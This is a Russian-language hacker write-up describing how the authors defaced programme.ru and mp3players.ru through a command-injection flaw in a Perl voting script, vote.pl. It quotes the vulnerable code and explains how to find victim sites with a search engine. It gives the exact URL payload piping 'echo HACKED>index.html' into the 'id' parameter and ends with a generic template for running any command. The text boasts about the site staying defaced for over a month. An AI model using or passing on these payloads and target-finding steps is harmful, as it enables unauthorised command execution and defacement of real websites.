------------------------------------------
#! /usr/share/doc/defaced/2/cases/prog.txt
------------------------------------------

----------------------------
Как был взломан programme.ru [ by JLx and XPYD3X ]
----------------------------

В  новогоднюю  ночь  нарыл  я  интересный  скрипт для голосования, под названием
vote.pl.  Заглянул  в исходники. На первый взгляд маленький безобидный скрипт,но
это только на первый взгляд :))) Меня заинтересовали строки:
 
@pairs = split(/&/, $bufer); 

foreach $pair (@pairs) 

{

($name, $value) = split(/=/, $pair); 

$value =~ tr/+/ /; 

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 

$VOTE{$name} = $value; 

} 


$filecnt="$VOTE{id}.cnt"; 

$filedata="$VOTE{id}.dat"; 

$filelog="$VOTE{id}.log"; 

$action="$VOTE{action}"; 

$oldlog="$VOTE{id}.old"; 

Никакой  проверки на метасимволы. Далее, как и следовало ожидать, при $action eq
.show.   открывались  эти  файлы  ну  и  т.д.  Таким  образом,  подставив  в  id
определённую  строку,  можно  выполнять команды на сервере и любоваться на вывод
))))  Например,  если  подставить  в id строку .| ls ;. можно просмотреть список
файлов в дире. С помощью этого бага можно без проблем дефейснуть сайт.
 
Далее: 

if ($ENV{'REQUEST_METHOD'} eq "POST") 

{

read(STDIN, $bufer, $ENV{'CONTENT_LENGTH'}); 

}

else 

{ 

$bufer=$ENV{'QUERY_STRING'}; 

} 

Этот  скрипт  может  принимать  запросы GET и POST, что позволяет юзать эту дыру
прямо вводя команды в Query_string как Unicode bug, что меня очень радует ))))
 
В  поисках  жертвы затруднений не было, достаточно было в Яндексе ввести "Script
from Bullet" и тут же вываливался список потенциально уязвимых сайтов. Но каково
же  было  удивление,  когда  мы  обнаружили  этот  скрипт  на  сайте  сейчас уже
закрывшегося  журнала  "ПРОГРАММИСТ".  В голову стукнула мысль, что админ такого
журнала  не  дурак и не мог поставить на свой сайт этот скрипт, но всё оказалась
замечательно (для нас).
 
http://programme.ru/cg-bin/vote/vote.pl?action=show&id=| echo HACKED>index.html ; 

"ПРОГРАММИСТ"  висел  хакнутым больше месяца, видимо уже тогда там всем все было
пофигу.
 
Сейчас в сети появился обновлённый скрипт в котором этой баги уже нету. 

P.S. Через эту же багу был взломан http://mp3players.ru. 

Use: PATH_TO_SCR/vote.pl?action=show&id=| CMD ;